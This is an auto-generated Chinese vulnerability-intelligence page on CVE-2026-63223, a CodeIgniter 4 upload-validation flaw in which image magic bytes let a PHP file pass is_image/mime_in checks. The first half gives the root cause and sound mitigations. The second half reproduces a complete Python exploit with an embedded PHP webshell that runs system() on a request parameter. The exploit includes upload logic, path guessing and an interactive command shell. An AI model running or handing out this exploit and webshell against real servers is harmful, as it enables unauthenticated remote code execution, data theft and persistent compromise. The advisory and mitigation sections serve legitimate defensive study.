🎯 CVE-2026-63223 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-63223 深度技术分析

📊 聚合 3 来源🧪 含 PoC
NVD-LatestGitHub-AdvisoryPoC-in-GitHub

摘要:CVE-2026-63223 是 CodeIgniter 4 文件上传校验逻辑中的严重安全缺陷,CVSS 9.8(Critical)。该缺陷影响低于 4.7.4 的版本:当开发者使用 is_imagemime_in 校验上传文件,却未独立校验客户端原始扩展名,且保存文件时保留原始文件名并存入可执行 PHP 的 Web 目录时,远程攻击者可以构造“图像魔数 + PHP Webshell”的恶意文件,通过上传接口绕过校验,最终在服务器上执行任意命令。

📌 漏洞概述

CVE-2026-63223 对应 GitHub Advisory GHSA-mmj4-63m4-r6h5,属于不安全的文件上传验证漏洞,本质上可归类为 CWE-434(危险类型文件上传),但在 CodeIgniter 中的具体成因是“校验与存储”之间的安全职责分离不足。

  • 漏洞编号:CVE-2026-63223
  • CVSS 评分:9.8(Critical),攻击向量 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,无需身份验证、无需用户交互,网络可达即可利用。
  • 影响版本:CodeIgniter 4 全系列 < 4.7.4
  • 修复版本:CodeIgniter 4.7.4
  • 漏洞类型:文件上传校验不足,可导致远程代码执行(RCE)
  • 利用现状:虽然 CISA KEV 尚未收录该漏洞,但 GitHub 上已经出现公开 PoC 仓库,实际风险正在快速上升。

🔬 漏洞根因分析

CodeIgniter 4 的上传验证规则 is_imagemime_in 并不等价于“安全文件名校验”。它们回答的问题是:上传内容的 MIME 类型是否属于图片,而不是:上传文件最终以什么扩展名保存在服务器上。这两者之间存在本质割裂,也是本次漏洞的核心。

is_image 规则通常基于上传文件的实际内容或 MIME 信息判断其是否为图片,例如检查文件头是否具有 GIF/JPEG/PNG 等格式的魔数。攻击者完全可以在 PHP Webshell 前拼接合法的图片魔数字节:

  • GIF 文件头:GIF89a
  • JPEG 文件头:\xFF\xD8\xFF\xE0
  • PNG 文件头:\x89PNG\r\n\x1a\n

拼接后,文件内容从 MIME 检测角度来看确实是“图片”,因此 is_image 校验通过。而 mime_in 规则也一样,只要文件的 MIME 类型命中图片类型列表,就允许通过。问题是,这些校验规则没有检查客户端提供的原始文件名是否为 .php.phtml 等危险扩展名。

攻击链的第二步在“保存文件”环节。许多开发者在处理上传逻辑时,会使用客户端文件名来保存文件,例如:

  • getClientName() 获取原始文件名;
  • 将文件名传递给 move()store()
  • 直接把上传目录设置为 Web 可访问的文档根目录或脚本可执行目录。

此时,攻击者上传的恶意文件虽然在文件内容前带有图片魔数,但真正的后缀仍然是 .php.phtml。PHP 引擎解析该文件时,会把 <?php 之前的内容当作普通字符原样输出,一旦遇到 PHP 开始标签便执行其中的代码。也就是说,文件上传校验“确认了它是一张图片”,但服务器最终却以 PHP 脚本方式执行了这个文件。

值得注意的是,这并不是简单的 MIME 欺骗问题,而是 CodeIgniter 官方对文件上传校验的默认建议中,缺少了“独立安全扩展名校验”这一关键环节。从深层角度说,is_imagemime_in 只适合作为内容类型验证,它们不应承担“文件是否可安全落盘”的安全决策。官方在 4.7.4 中推荐的 ext_in 规则正是为了弥补这一缺口:它要求客户端扩展名必须命中明确的白名单,与 MIME 校验相互独立、相互补充。

另一个值得强调的根因是,客户端提交的文件名本身天然不可信。getClientExtension() 返回的扩展名由用户完全控制,而 guessExtension() 从内容推断的扩展名相对可信。真正安全的逻辑应当在“扩展名白名单”和“内容类型白名单”之间建立一致性约束,而非任选其一。

💥 影响与危害

当目标应用同时满足以下条件时,漏洞可直接导致远程代码执行:

  • 使用 is_imagemime_in 校验上传文件;
  • 未使用 ext_in 或等效的独立扩展名白名单校验;
  • 保存上传文件时保留客户端原始文件名;
  • 上传目录位于 Web 文档根目录,并允许执行 PHP 文件。

一旦攻击者成功上传包含图片魔数的 PHP Webshell,即可通过 HTTP 请求传参执行系统命令,危害包括但不限于:

  • 获取 Web 服务器操作系统级 Shell,执行任意命令;
  • 读取应用程序源码、数据库配置文件、环境变量中的敏感凭据;
  • 写入或篡改业务数据,甚至通过数据库 RCE 扩大攻击面;
  • 植入勒索软件、挖矿程序、后门,形成持久化控制;
  • 以 Web 服务权限为跳板,攻击内网其他系统。

由于该漏洞的 CVSS 评分为 9.8,且网络攻击门槛低,未打补丁的受配置影响应用一旦被互联网访问,就极易被批量扫描和自动化武器利用。虽然目前 CISA KEV 尚未收录该漏洞,但公开 PoC 已经存在,应该按照“已被实际利用风险”的标准进行处置。

🛡️ 修复与缓解

官方已经发布修复版本,所有使用 CodeIgniter 4 的团队应立即升级到 4.7.4 或更高版本。升级之外,还必须从代码层面落实“文件名不可信”和“上传目录不可执行”的安全原则。

  • 升级补丁:升级到 CodeIgniter 4.7.4+,并参考官方建议在 is_image / mime_in 基础上叠加 ext_in 独立扩展名白名单校验。
  • 禁止使用客户端文件名落盘:不要将 getClientName()getClientExtension() 直接用于文件系统保存文件名。推荐使用 $file->store()$file->move($path, $file->getRandomName()) 生成随机文件名。
  • 上传目录移出 Web 根目录:将用户上传文件保存到 writable/uploads 等非公开目录,由应用控制器通过 PHP 读取并输出文件,并正确设置 Content-TypeContent-Disposition,从源头避免脚本直接被执行。
  • 禁用上传目录脚本执行能力:如果上传目录必须在 Web 根目录下,需要在 Apache 中移除 .php / .phtml 的处理器,或在 Nginx 中禁止上传目录匹配 PHP-FPM 转发规则。
  • 手动校验扩展名:图片上传场景中,必须在保存前拒绝 getClientExtension() 不在白名单内的文件。白名单应为 gifjpgjpegpngwebp 等真实图片扩展名。
  • 校验 MIME 与扩展名一致性:对于精确 MIME 校验场景,应拒绝 getClientExtension()guessExtension() 不匹配的文件,防止攻击者使用 .php 保存图片内容。
  • 记录原始文件名映射:如果业务需要保留用户文件原名,应将其存入数据库,与服务器生成的随机文件名建立映射,而不是直接使用原始名称作为文件系统文件名。

最后需要明确:is_imagemime_in 只能作为上传内容类型校验,绝不能单独作为安全边界。任何文件上传功能都应该始终采用“内容校验 + 扩展名白名单 + 随机存储名 + 非执行目录”的组合策略,才能有效防御此类高危 RCE 漏洞。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言py来源imbas007/CVE-2026-63223-POC针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

#!/usr/bin/env python3
"""
CVE-2026-63223 — CodeIgniter 4 File Upload RCE Exploit
======================================================

Vulnerability: `is_image` and `mime_in` validation rules in CodeIgniter 4
(<4.7.4) only check content-derived MIME type,NOT the file extension.
Attackers can prepend image magic bytes to a PHP webshell,name it
`shell.php`,
and it passes validation while retaining a dangerous extension.

Fixed in: CodeIgniter 4 v4.7.4
Advisory:  GHSA-mmj4-63m4-r6h5
CVE:       CVE-2026-63223
CVSS:      9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Requirements: pip install requests
Usage:        python3 exploit.py --target http://host/upload --cmd id
"""

import argparse
import sys
import re
import os
from typing import Optional
from urllib.parse import urlparse

try:
    import requests
except ImportError:
    print("[!] Install requests: pip install requests")
    sys.exit(1)


# ─── Payload Generator ──────────────────────────────────────────────────────

PAYLOADS = {
"gif": {"magic": b"GIF89a","mime": "image/gif","ext": "php",# client-supplied extension
    },"jpg": {"magic": b"\xff\xd8\xff\xe0","mime": "image/jpeg","ext": "php",},"png": {"magic": b"\x89PNG\r\n\x1a\n","mime": "image/png","ext": "phtml",# also executable by PHP-FPM setups
    },}PHP_WEBSHELL_TEMPLATE = """\
<?php
// CVE-2026-63223 PoC Webshell
if(isset($_REQUEST['c'])){{echo "<pre>";
system($_REQUEST['c'],$ret);echo "</pre>";echo "<hr>exit: $ret";die();}}echo "<!-- CVE-2026-63223: vulnerable upload confirmed -->";__halt_compiler();"""


def generate_payload(method: str = "gif",cmd: Optional[str] = None) ->
bytes:
    """Generate malicious upload with image magic bytes + PHP webshell."""
    if method not in PAYLOADS:
        raise ValueError(f"Unknown method '{method}'. Choose: {list(PAYLOADS)}")

    cfg = PAYLOADS[method]
    payload = cfg["magic"] + b"\n"
    payload += PHP_WEBSHELL_TEMPLATE.format().encode()

    return payload,
cfg


# ─── Exploit Logic ───────────────────────────────────────────────────────────

class CVE202663223:
    """Exploit for CVE-2026-63223 — CodeIgniter4 is_image/mime_in bypass."""

    def __init__(self,target_url: str,
verbose: bool = False):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.verbose = verbose
        self.uploaded_path: Optional[str] = None

    def log(self,msg: str):
        print(f"[*] {msg}")

    def vlog(self,msg: str):
        if self.verbose:
            print(f"[~] {msg}")

    def upload(self,filename: str,data: bytes,
mime: str = "image/gif",field_name: str = "avatar") ->bool:
        """Upload the malicious file via multipart form data."""
        files = {field_name: (filename,data,mime),}self.log(f"Uploading '{filename}' ({len(data)}bytes,MIME: {mime})...")

        try:
            resp = self.session.post(self.target,files=files,
timeout=30)
        except requests.ConnectionError:
            print(f"[!] Cannot connect to {self.target}")
            return False
        except requests.Timeout:
            print(f"[!] Connection timed out")
            return False

        self.vlog(f"Status: {resp.status_code}")
        self.vlog(f"Response ({len(resp.text)}
bytes): {resp.text[:500]}")

        if resp.status_code == 200:
            # Check for validation errors (false positive 200)
            if 'class="error"' in resp.text or 'class=\"error\"' in resp.text:
                import re as _re
                err = _re.search(r'class="error"[^>]*>(.*?)</div>',resp.text,
_re.DOTALL)
                if err:
                    self.log(f"Upload rejected: {err.group(1).strip()}")
                else:
                    self.log("Upload rejected by validation (response contains error)")
                return False
            self.log("Upload successful!")
            # Try to extract uploaded path from response
            self._find_uploaded_path(resp.text,
filename)
            return True
        else:
            self.log(f"Upload may have failed (HTTP {resp.status_code})")
            return False

    def _find_uploaded_path(self,response: str,filename: str):
        """Attempt to discover where the file was saved."""
        patterns = [
            r'(/uploads?/\s*' + re.escape(filename) + r')\b',
r'to:\s*(/[^\s<]*' + re.escape(filename) + r')\b',r'(?:href|src)=["\']([^"\']*' + re.escape(filename) + r')["\']',]
        for pat in patterns:
            match = re.search(pat,response,
re.IGNORECASE)
            if match:
                path = match.group(1) if match.lastindex else match.group(0)
                self.uploaded_path = path
                self.log(f"Uploaded path discovered: {path}")
                return

        # Guess common paths
        guesses = [
            f"/uploads/{filename}",f"/public/uploads/{filename}",f"/upload/{filename}",
]
        self.log("Could not determine uploaded path from response.")
        self.log(f"Common paths to try: {','.join(guesses)}")
        self.uploaded_path = guesses[0]

    def execute(self,cmd: str,shell_path: Optional[str] = None) ->
Optional[str]:
        """Execute a command via the uploaded webshell."""
        path = shell_path or self.uploaded_path
        if not path:
            print("[!] No uploaded shell path known. Set manually with --shell-path")
            return None

        # Resolve relative to target
        if path.startswith("/"):
            parsed = urlparse(self.target)
            url = f"{parsed.scheme}://{parsed.netloc}{path}"
        elif path.startswith("http"):
            url = path
        else:
            url = self.target + "/" + path

        self.log(f"Executing command via: {url}")
        params = {"c": cmd}
try:
            resp = self.session.get(url,params=params,timeout=30)
        except requests.RequestException as e:
            print(f"[!] Request failed: {e}")
            return None

        if resp.status_code == 404:
            print(f"[!] Shell not found at {url}
(404)")
            print("[!] Try specifying path with --shell-path")
            return None

        if resp.status_code != 200:
            print(f"[!] HTTP {resp.status_code}")
            return None

        # Extract command output (between <pre>tags or raw body)
        match = re.search(r"<pre>(.*?)</pre>",resp.text,
re.DOTALL)
        if match:
            output = match.group(1)
        else:
            # Fallback: remove HTML/comment markers
            output = resp.text
            output = re.sub(r"<!--.*?-->","",output,
flags=re.DOTALL)
            output = output.strip()

        print(f"\n{'='*60}")
        print(output)
        print(f"{'='*60}")

        return output

    def interactive(self):
        """Interactive shell mode."""
        print("\n╔══════════════════════════════════════════════╗")
        print("║  CVE-2026-63223 Interactive Shell           ║")
        print("║  Type commands or 'exit' to quit            ║")
        print("╚══════════════════════════════════════════════╝\n")
        while True:
            try:
                cmd = input("$ ").strip()
            except (EOFError,
KeyboardInterrupt):
                print("\nExiting.")
                break

            if not cmd:
                continue
            if cmd.lower() in ("exit",
"quit"):
                break

            self.execute(cmd)


# ─── CLI ─────────────────────────────────────────────────────────────────────

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-63223 — CodeIgniter 4 File Upload RCE Exploit",epilog="GitHub Advisory: https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-mmj4-63m4-r6h5",
)
    parser.add_argument("--target","-t",required=True,help="Target URL of the upload endpoint (e.g. http://host/upload)")
    parser.add_argument("--cmd","-c",help="Command to execute (e.g. 'id','uname -a')")
    parser.add_argument("--shell","-i",action="store_true",help="Open interactive shell after upload")
    parser.add_argument("--method","-m",choices=["gif","jpg","png"],default="gif",
help="MIME disguise method (default: gif)")
    parser.add_argument("--filename","-f",default="shell.php",help="Filename including extension (default: shell.php)")
    parser.add_argument("--field",default="avatar",help="Upload form field name (default: avatar)")
    parser.add_argument("--shell-path","-p",help="Explicit path to the uploaded webshell")
    parser.add_argument("--save-payload",
help="Save generated payload to file (for manual testing)")
    parser.add_argument("--verbose","-v",action="store_true",help="Verbose output")

    args = parser.parse_args()

    # Step 1 — Generate payload
    print("[+] CVE-2026-63223 Exploit — CodeIgniter4 is_image/mime_in Bypass")
    print(f"[+] Target: {args.target}")
    print()

    payload_data,
cfg = generate_payload(args.method)
    print(f"[+] Using {args.method.upper()}magic bytes |MIME: {cfg['mime']}|Ext: .{cfg['ext']}")

    # Optionally save to disk
    if args.save_payload:
        os.makedirs(args.save_payload,exist_ok=True) if os.path.isdir(args.save_payload) else None
        with open(args.save_payload,
"wb") as f:
            f.write(payload_data)
        print(f"[+] Payload saved to {args.save_payload}")

    # Step 2 — Upload
    exploit = CVE202663223(args.target,verbose=args.verbose)

    if not exploit.upload(args.filename,payload_data,mime=cfg["mime"],
field_name=args.field):
        print("[!] Exploit failed at upload stage.")
        return 1

    # Step 3 — Execute
    if args.cmd:
        exploit.execute(args.cmd,
shell_path=args.shell_path)

    if args.shell:
        exploit.interactive()

    if not args.cmd and not args.shell:
        print("\n[+] Upload complete. Use --cmd or --shell to interact.")
        print(f"[+] Try: python3 {sys.argv[0]}-t {args.target}--cmd id")

    return 0


if __name__ == "__main__":
    sys.exit(main())

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-11 03:09 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)